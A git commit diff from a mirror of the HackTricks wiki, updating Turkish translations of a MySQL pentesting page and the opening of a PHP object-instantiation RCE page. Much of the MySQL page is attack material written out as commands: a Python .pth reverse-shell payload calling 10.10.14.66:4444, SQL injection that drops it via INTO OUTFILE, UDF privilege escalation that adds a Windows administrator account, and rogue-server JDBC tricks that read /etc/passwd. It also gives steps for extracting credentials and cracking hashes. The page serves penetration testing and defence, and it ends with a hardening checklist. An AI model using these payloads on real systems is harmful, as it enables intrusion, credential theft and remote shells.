maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/content-security-policy-csp-bypass/R

Browse Source
This commit is contained in:
Translator 2025-09-03 19:13:27 +00:00
parent 49cc65a1ca
commit 8a4bd12570
6 changed files with 616 additions and 551 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

158
src/network-services-pentesting/pentesting-mysql.md
View File

@ -4,7 +4,7 @@
## **Temel Bilgiler** ## **Temel Bilgiler**
**MySQL**, ücretsiz olarak sunulan açık kaynaklı bir **İlişkisel Veritabanı Yönetim Sistemi (RDBMS)** olarak tanımlanabilir. **Yapılandırılmış Sorgu Dili (SQL)** üzerinde çalışarak veritabanlarının yönetimini ve manipülasyonunu sağlar. **MySQL** ücretsiz olarak edinilebilen açık kaynaklı bir **İlişkisel Veritabanı Yönetim Sistemi (RDBMS)** olarak tanımlanabilir. Veritabanlarının yönetilmesini ve manipülasyonunu sağlayan **Yapılandırılmış Sorgu Dili (SQL)** ile çalışır.
**Varsayılan port:** 3306 **Varsayılan port:** 3306
``` ```
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
mysql -h <Hostname> -u root mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost mysql -h <Hostname> -u root@localhost
``` ```
## Dış Enumere Etme ## Harici Enumeration
Bazı enumere etme eylemleri geçerli kimlik bilgileri gerektirir. Bazı enumeration işlemleri geçerli kimlik bilgileri gerektirir
```bash ```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP> nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
``` ```
### [**Brute force**](../generic-hacking/brute-force.md#mysql) ### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Herhangi bir ikili veri yazın ### Herhangi bir ikili veriyi yazma
```bash ```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;' mysql -u root -h 127.0.0.1 -e 'show databases;'
``` ```
### MySQL İzinlerinin Sayımı ### MySQL İzinlerini Keşfetme
```sql ```sql
#Mysql #Mysql
SHOW GRANTS [FOR user]; SHOW GRANTS [FOR user];
@ -103,7 +103,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
``` ```
You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
### MySQL Dosya RCE ### MySQL File RCE
{{#ref}} {{#ref}}
@ -112,58 +112,56 @@ You can see in the docs the meaning of each privilege: [https://dev.mysql.com/do
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) #### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
Klasik `INTO OUTFILE` ilkesini kötüye kullanarak, daha sonra **Python** betikleri çalıştıran hedeflerde *keyfi kod yürütme* elde etmek mümkündür. Klasik `INTO OUTFILE` primitive'ini suistimal ederek, daha sonra **Python** scriptleri çalıştıran hedeflerde *arbitrary code execution* elde etmek mümkündür.
1. `INTO OUTFILE` kullanarak, `site.py` tarafından otomatik olarak yüklenen herhangi bir dizine özel bir **`.pth`** dosyası bırakın (örneğin `.../lib/python3.10/site-packages/`). 1. `site.py` tarafından otomatik olarak yüklenen herhangi bir dizine (ör. `.../lib/python3.10/site-packages/`) özel bir **`.pth`** dosyası bırakmak için `INTO OUTFILE` kullanın.
2. `.pth` dosyası, her seferinde yorumlayıcı başlatıldığında yürütülecek keyfi Python kodu ile başlayan `import ` ile başlayan *tek bir satır* içerebilir. 2. `.pth` dosyası, `import ` ile başlayan ve yorumlayıcı her başladığında çalıştırılacak keyfi Python kodunu takip eden *tek bir satır* içerebilir.
3. Yorumlayıcı, bir CGI betiği tarafından örtük olarak çalıştırıldığında (örneğin `/cgi-bin/ml-draw.py` shebang ile `#!/bin/python`) yük, web sunucusu süreci ile aynı ayrıcalıklarla yürütülür (FortiWeb bunu **root** olarak çalıştırdı → tam ön kimlik doğrulama RCE). 3. Yorumlayıcı bir CGI scripti tarafından zımnen çalıştırıldığında (ör. shebang `#!/bin/python` ile `/cgi-bin/ml-draw.py`), payload web sunucusu işlemiyle aynı ayrıcalıklarla çalıştırılır (FortiWeb bunu **root** olarak çalıştırdı → full pre-auth RCE).
Örnek `.pth` yükü (tek satır, son SQL yüküne boşluk eklenemez, bu nedenle hex/`UNHEX()` veya dize birleştirme gerekebilir): Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required):
```python ```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
``` ```
Bir **UNION** sorgusu aracılığıyla dosyanın oluşturulmasına örnek (boşluk karakterleri, toplam uzunluğu ≤128 bayt tutmak için `sscanf("%128s")` boşluk filtresini aşmak amacıyla `/**/` ile değiştirilmiştir): Bir **UNION** sorgusu ile dosyanın oluşturulmasına örnek (boşluk karakterleri `/**/` ile değiştirilmiş, böylece `sscanf("%128s")` boşluk filtresi atlatılıyor ve toplam uzunluk ≤128 byte tutuluyor):
```sql ```sql
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
``` ```
Önemli sınırlamalar ve bypass'lar: Önemli sınırlamalar & bypasses:
* `INTO OUTFILE` **mevcut** dosyaları **üzerine yazamaz**; yeni bir dosya adı seçin. * `INTO OUTFILE` **mevcut dosyaların üzerine yazamaz**; yeni bir dosya adı seçin.
* Dosya yolu **MySQL’in CWD'sine göre** çözülür, bu nedenle `../../` ile ön eklemek yolu kısaltmaya ve mutlak yol kısıtlamalarını aşmaya yardımcı olur. * Dosya yolu **MySQL’s CWD**'ye göre çözülür; bu yüzden başına `../../` eklemek yolu kısaltmaya ve absolute-path kısıtlamalarını bypass etmeye yardımcı olur.
* Saldırgan girişi `%128s` (veya benzeri) ile çıkarıldığında, herhangi bir boşluk yükü keser; boşlukları değiştirmek için MySQL yorum dizilerini `/**/` veya `/*!*/` kullanın. * Eğer saldırgan girdisi `%128s` (veya benzeri) ile çıkarılıyorsa, herhangi bir boşluk payload'u keser; boşlukların yerine koymak için MySQL yorum dizileri `/**/` veya `/*!*/` kullanın.
* Sorguyu çalıştıran MySQL kullanıcısının `FILE` ayrıcalığına ihtiyacı vardır, ancak birçok cihazda (örneğin, FortiWeb) hizmet **root** olarak çalışır ve hemen hemen her yerde yazma erişimi sağlar. * Sorguyu çalıştıran MySQL kullanıcısının `FILE` ayrıcalığına ihtiyacı vardır, ancak birçok appliance (örn. FortiWeb) servis **root** olarak çalışır ve neredeyse her yere yazma erişimi verir.
`.pth` dosyasını bıraktıktan sonra, kod yürütmek için python yorumlayıcısı tarafından işlenen herhangi bir CGI'yi talep edin: `.pth` dosyasını bıraktıktan sonra, python interpreter tarafından işlenen herhangi bir CGI'yi çağırmak code execution elde etmek için yeterlidir:
``` ```
GET /cgi-bin/ml-draw.py HTTP/1.1 GET /cgi-bin/ml-draw.py HTTP/1.1
Host: <target> Host: <target>
``` ```
Python süreci kötü niyetli `.pth` dosyasını otomatik olarak içe aktaracak ve shell yükünü çalıştıracaktır. Python süreci kötü amaçlı `.pth` dosyasını otomatik olarak import edecek ve shell payload'ı çalıştıracak.
``` ```
# Attacker # Attacker
$ nc -lvnp 4444 $ nc -lvnp 4444
id id
uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root)
``` ```
--- ## MySQL arbitrary read file by client
## MySQL istemcisi tarafından keyfi dosya okuma Aslında, **load data local into a table** ile bir tabloya bir dosyanın **içeriğini** yüklemeye çalıştığınızda, MySQL veya MariaDB sunucusu **client to read it** diyerek istemciden bunu okumasını ve içeriği göndermesini ister. **Sonuç olarak, eğer bir mysql client'ı değiştirip kendi MySQL sunucunuza bağlanmasını sağlayabiliyorsanız, keyfi dosyaları okuyabilirsiniz.**\
Lütfen bunun şu kullanım sırasında olan davranış olduğunu unutmayın:
Aslında, bir tabloya **yerel veri yüklemeye** çalıştığınızda, MySQL veya MariaDB sunucusu **istemciden dosyayı okumasını** ve içeriği göndermesini ister. **Sonra, eğer bir mysql istemcisini kendi MySQL sunucunuza bağlanacak şekilde değiştirebilirseniz, keyfi dosyaları okuyabilirsiniz.**\
Lütfen bunun şu şekilde bir davranış olduğunu unutmayın:
```bash ```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
``` ```
("local" kelimesine dikkat edin)\ ("local" kelimesine dikkat edin)\
Çünkü "local" olmadan şunları alabilirsiniz: Çünkü "local" olmadan şunu elde edebilirsiniz:
```bash ```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
``` ```
**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **İlk PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Bu makalede saldırının tam açıklamasını ve hatta nasıl RCE'ye genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Saldırıya genel bir bakış bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) **Burada saldırının genel bir özetini bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
​ ​
@ -173,23 +171,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Mysql Kullanıcısı ### Mysql Kullanıcısı
Mysql'in **root** olarak çalışması çok ilginç olacaktır: mysql'in **root** olarak çalışıyor olması çok ilginç olacaktır:
```bash ```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
``` ```
#### mysqld.cnf'nin Tehlikeli Ayarları #### mysqld.cnf'nin Tehlikeli Ayarları
MySQL hizmetlerinin yapılandırmasında, işletim ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılmaktadır: MySQL hizmetlerinin yapılandırmasında, çalışmasını ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılır:
- **`user`** ayarı, MySQL hizmetinin çalışacağı kullanıcıyı belirlemek için kullanılır. - MySQL hizmetinin hangi kullanıcı altında çalışacağını belirlemek için **`user`** ayarı kullanılır.
- **`password`** MySQL kullanıcısına bağlı olan şifreyi belirlemek için uygulanır. - **`password`** MySQL kullanıcısına ait parolanın belirlenmesi için kullanılır.
- **`admin_address`**, yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir. - **`admin_address`** yönetim ağ arabiriminde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
- **`debug`** değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayıklama yapılandırmalarını gösterir. - **`debug`** değişkeni, loglarda hassas bilgiler de dahil olmak üzere mevcut hata ayıklama yapılandırmalarını gösterir.
- **`sql_warnings`**, uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizgileri üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir. - **`sql_warnings`** uyarılar oluştuğunda tek satırlık INSERT ifadeleri için bilgi dizeleri üretilip üretilmeyeceğini yönetir; bu dizeler loglarda hassas veriler içerebilir.
- **`secure_file_priv`** ile veri içe ve dışa aktarma işlemlerinin kapsamı güvenliği artırmak için kısıtlanır. - **`secure_file_priv`** ile veri içe/dışa aktarma işlemlerinin kapsamı güvenliği artırmak için sınırlandırılır.
### Yetki Yükseltme ### Privilege escalation
```bash ```bash
# Get current user (an all users) privileges and hashes # Get current user (an all users) privileges and hashes
use mysql; use mysql;
@ -207,18 +205,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc) # Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh \! sh
``` ```
### Yetki Yükseltme kütüphanesi aracılığıyla ### Kütüphane ile Ayrıcalık Yükseltme
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekecek. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gerekecek. Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı başka bir kullanıcı olarak) onun komut çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekir. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'in çalıştığı OS için bir **kütüphaneye** ihtiyacınız olacak.
Kullanılacak kötü niyetli kütüphane sqlmap içinde ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulunabilir. **`.so`** dosyaları **linux** kütüphaneleridir ve **`.dll`** dosyaları **Windows** kütüphaneleridir, ihtiyacınız olanı seçin. Kullanılacak kötü amaçlı kütüphaneyi sqlmap ve metasploit içinde **`locate "*lib_mysqludf_sys*"`** komutunu çalıştırarak bulabilirsiniz. **`.so`** dosyaları **linux** kütüphaneleri ve **`.dll`** dosyaları **Windows** olanlardır; ihtiyacınız olanı seçin.
Eğer bu kütüphanelere **sahip değilseniz**, ya **onları arayabilir** ya da bu [**linux C kodunu**](https://www.exploit-db.com/exploits/1518) indirip **linux zafiyetli makine içinde derleyebilirsiniz**: Eğer bu kütüphanelere **sahip değilseniz**, ya onları **aramayı** deneyin ya da bu [**linux C code**](https://www.exploit-db.com/exploits/1518) dosyasını indirip **zafiyetli linux makinede** derleyin:
```bash ```bash
gcc -g -c raptor_udf2.c gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
``` ```
Artık kütüphaneye sahip olduğunuza göre, Mysql'e ayrıcalıklı bir kullanıcı (root?) olarak giriş yapın ve sonraki adımları izleyin: Kütüphaneyi elde ettiğinize göre, privileged user (root?) olarak Mysql'e giriş yapın ve aşağıdaki adımları izleyin:
#### Linux #### Linux
```sql ```sql
@ -252,23 +250,32 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add"); SELECT sys_exec("net localgroup Administrators npn /add");
``` ```
### MySQL kimlik bilgilerini dosyalardan çıkarma #### Windows ipucu: SQL üzerinden NTFS ADS ile dizinler oluşturma
_/etc/mysql/debian.cnf_ içinde **düz metin şifresi** olan **debian-sys-maint** kullanıcısını bulabilirsiniz. NTFS üzerinde, yalnızca bir dosya yazma primitive'i mevcut olsa bile alternatif bir veri akışı kullanarak dizin oluşturmayı zorlayabilirsiniz. Eğer classic UDF chain bir `plugin` dizini bekliyorsa fakat bu dizin mevcut değilse ve `@@plugin_dir` bilinmiyor veya kısıtlanmışsa, önce onu `::$INDEX_ALLOCATION` ile oluşturabilirsiniz:
```sql
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
```
Bu, sınırlı `SELECT ... INTO OUTFILE`'ı, UDF drops için gereken klasör yapısını oluşturarak Windows stack'lerinde daha tam bir primitive'e dönüştürür.
### Dosyalardan MySQL kimlik bilgilerini çıkarma
_/etc/mysql/debian.cnf_ içinde **debian-sys-maint** kullanıcısının **düz metin parolasını** bulabilirsiniz.
```bash ```bash
cat /etc/mysql/debian.cnf cat /etc/mysql/debian.cnf
``` ```
Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**. Bu kimlik bilgilerini **mysql veritabanına giriş yapmak için kullanabilirsiniz**.
Dosyanın içinde: _/var/lib/mysql/mysql/user.MYD_ **MySQL kullanıcılarının tüm hash'lerini** (veritabanındaki mysql.user'dan çıkarabileceğiniz) bulabilirsiniz_._ Inside the file: _/var/lib/mysql/mysql/user.MYD_ you can find **MySQL kullanıcılarının tüm hashes'lerini** (veritabanı içindeki mysql.user'dan çıkarabileceğinizler)_._
Bunları çıkarmak için: Bunları şu şekilde çıkarabilirsiniz:
```bash ```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
``` ```
### Günlüğü etkinleştirme ### Günlüklemeyi etkinleştirme
MySQL sorgularının günlüğünü `/etc/mysql/my.cnf` dosyasında aşağıdaki satırları yorumdan çıkararak etkinleştirebilirsiniz: mysql sorgularının kayıt tutulmasını `/etc/mysql/my.cnf` içinde aşağıdaki satırların yorum işaretlerini kaldırarak etkinleştirebilirsiniz:
![](<../images/image (899).png>) ![](<../images/image (899).png>)
@ -296,7 +303,7 @@ Yapılandırma Dosyaları
- update.log - update.log
- common.log - common.log
## Varsayılan MySQL Veritabanı/Tabloları ## Varsayılan MySQL Database/Tables
{{#tabs}} {{#tabs}}
{{#tab name="information_schema"}} {{#tab name="information_schema"}}
@ -616,7 +623,7 @@ x$waits_global_by_latency
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
## HackTricks Otomatik Komutlar ## HackTricks Otomatik Komutları
``` ```
Protocol_Name: MySql #Protocol Abbreviation if there is one. Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one. Port_Number: 3306 #Comma separated if there is more than one.
@ -650,33 +657,33 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
## 2023-2025 Öne Çıkanlar (yeni) ## 2023-2025 Öne Çıkanlar (yeni)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
Connector/J <= 8.0.32'den itibaren, **JDBC URL**'sini etkileyebilen bir saldırgan (örneğin, bir bağlantı dizesi isteyen üçüncü taraf yazılımlarda) `propertiesTransform` parametresi aracılığıyla *istemci* tarafında rastgele sınıfların yüklenmesini talep edebilir. Sınıf yolunda mevcut olan bir gadget yüklenebilir ise, bu **JDBC istemcisi bağlamında uzaktan kod yürütme** ile sonuçlanır (ön kimlik doğrulama, çünkü geçerli kimlik bilgileri gerekmemektedir). Minimal bir PoC şöyle görünür: Connector/J <= 8.0.32 sürümlerinden itibaren, **JDBC URL**'yi etkileyebilen bir saldırgan (ör. bağlantı dizesi isteyen üçüncü taraf yazılımda) `propertiesTransform` parametresi aracılığıyla *client* side'a rastgele sınıfların yüklenmesini talep edebilir. Eğer class-path üzerinde yüklenebilir bir gadget varsa bu, **remote code execution in the context of the JDBC client** ile sonuçlanır (pre-auth, çünkü geçerli kimlik bilgileri gerekmez). Minimal bir PoC şöyle görünür:
```java ```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
``` ```
`Evil.class` dosyasını çalıştırmak, savunmasız uygulamanın sınıf yoluna yerleştirmek veya kötü niyetli bir MySQL sunucusunun zararlı bir serileştirilmiş nesne göndermesine izin vermek kadar kolay olabilir. Sorun, Connector/J 8.0.33'te düzeltildi - sürücüyü güncelleyin veya `propertiesTransform`'u bir izin listesine açıkça ayarlayın. `Evil.class` çalıştırmak, bunu zafiyetli uygulamanın class-path'inde üretmek kadar kolay olabilir veya kötü niyetli bir MySQL sunucusunun kötü amaçlı serileştirilmiş bir nesne göndermesine izin vermek kadar basit olabilir. Bu sorun Connector/J 8.0.33'te düzeltildi — sürücüyü yükseltin veya `propertiesTransform`'ı açıkça bir allow-list üzerine ayarlayın.
(Bilgiler için Snyk yazısına bakın) (Detaylar için Snyk yazısını inceleyin)
### JDBC istemcilerine karşı sahte / kötü niyetli MySQL sunucu saldırıları ### JDBC istemcilerine yönelik Rogue / Fake MySQL sunucu saldırıları
Birçok açık kaynak aracı, dışa bağlantı kuran JDBC istemcilerine saldırmak için *kısmi* bir MySQL protokolü uygular: Birçok açık kaynak araç, dışa bağlanan JDBC istemcilerine saldırmak için MySQL protokolünün *kısmi* bir uygulamasını gerçekleştirir:
* **mysql-fake-server** (Java, dosya okuma ve serileştirme istismarlarını destekler) * **mysql-fake-server** (Java, supports file read and deserialization exploits)
* **rogue_mysql_server** (Python, benzer yetenekler) * **rogue_mysql_server** (Python, similar capabilities)
Tipik saldırı yolları: Tipik saldırı yolları:
1. Kurban uygulaması `allowLoadLocalInfile=true` veya `autoDeserialize=true` ile `mysql-connector-j`'yi yükler. 1. Hedef uygulama `mysql-connector-j`'i `allowLoadLocalInfile=true` veya `autoDeserialize=true` ile yükler.
2. Saldırgan, DNS / ana makine girişini kontrol eder, böylece DB'nin ana adı kendi kontrolündeki bir makineye çözülür. 2. Saldırgan, DB'nin hostname'inin kendi kontrolündeki bir makineye çözülmesini sağlayacak şekilde DNS / host girdisini kontrol eder.
3. Kötü niyetli sunucu, `LOCAL INFILE` rastgele dosya okuma veya Java serileştirmesini tetikleyen özel paketlerle yanıt verir → RCE. 3. Kötü amaçlı sunucu, ya `LOCAL INFILE` ile arbitrary file read ya da Java deserialization → RCE tetikleyen özel paketlerle yanıt verir.
Sahte bir sunucuyu başlatmak için örnek bir tek satırlık komut (Java): Sahte bir sunucu başlatmak için örnek tek satırlık komut (Java):
```bash ```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
``` ```
Sonra kurban uygulamasını `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` adresine yönlendirin ve dosya adını *kullanıcı adı* alanında base64 olarak kodlayarak `/etc/passwd` dosyasını okuyun (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). Sonra hedef uygulamayı `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` adresine yönlendirip, dosya adını base64 olarak *kullanıcı adı* alanına kodlayarak `/etc/passwd` dosyasını okuyun (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### `caching_sha2_password` hash'lerini kırma ### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0, şifre hash'lerini **`$mysql-sha2$`** (SHA-256) olarak saklar. Hem Hashcat (mod **21100**) hem de John-the-Ripper (`--format=mysql-sha2`) 2023'ten itibaren çevrimdışı kırmayı desteklemektedir. `authentication_string` sütununu dökün ve doğrudan besleyin: MySQL ≥ 8.0 parola hash'lerini **`$mysql-sha2$`** (SHA-256) olarak saklar. Hem Hashcat (mode **21100**) hem de John-the-Ripper (`--format=mysql-sha2`) 2023'ten beri çevrimdışı kırmayı destekliyor. `authentication_string` sütununu döküp doğrudan besleyin:
```bash ```bash
# extract hashes # extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,20 +692,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper # John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
``` ```
### Güçlendirme kontrol listesi (2025) ### Sertleştirme kontrol listesi (2025)
• Çoğu dosya-okuma/yazma ilkesini öldürmek için **`LOCAL_INFILE=0`** ve **`--secure-file-priv=/var/empty`** ayarlarını yapın. • Çoğu dosya okuma/yazma yöntemini engellemek için **`LOCAL_INFILE=0`** ve **`--secure-file-priv=/var/empty`** ayarlayın.
• Uygulama hesaplarından **`FILE`** ayrıcalığını kaldırın. • Uygulama hesaplarından **`FILE`** ayrıcalığını kaldırın.
• Connector/J üzerinde `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (boş) ayarlarını yapın. • Connector/J'de `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (boş) olarak ayarlayın.
• Kullanılmayan kimlik doğrulama eklentilerini devre dışı bırakın ve **TLS gerektir** (`require_secure_transport = ON`). • Kullanılmayan kimlik doğrulama eklentilerini devre dışı bırakın ve **TLS'i zorunlu kılın** (`require_secure_transport = ON`).
• `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` ve ani `SET GLOBAL` ifadelerini izleyin. • `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` ve ani `SET GLOBAL` ifadelerini izleyin.
--- ---
## Referanslar ## Referanslar
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server – JDBC istemci saldırıları için sahte MySQL sunucusu](https://github.com/4ra1n/mysql-fake-server) - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

68
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
View File

@ -1,18 +1,18 @@
# PHP - RCE nesne oluşturma istismarı: new $\_GET\["a"]\($\_GET\["b"]) # PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
Bu, temelde [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) adresinin bir özetidir. This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
## Giriş ## Giriş
